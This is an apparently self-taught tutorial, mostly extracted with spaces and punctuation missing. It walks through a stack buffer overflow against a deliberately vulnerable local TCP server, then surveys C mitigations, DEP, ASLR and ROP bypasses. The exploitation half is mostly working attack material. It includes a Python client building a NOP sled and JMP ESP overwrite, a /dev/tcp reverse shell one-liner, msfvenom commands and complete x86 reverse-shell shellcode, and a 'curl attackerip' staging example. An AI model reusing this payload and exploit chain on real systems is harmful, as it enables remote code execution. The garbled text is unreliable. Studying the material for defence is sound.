Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

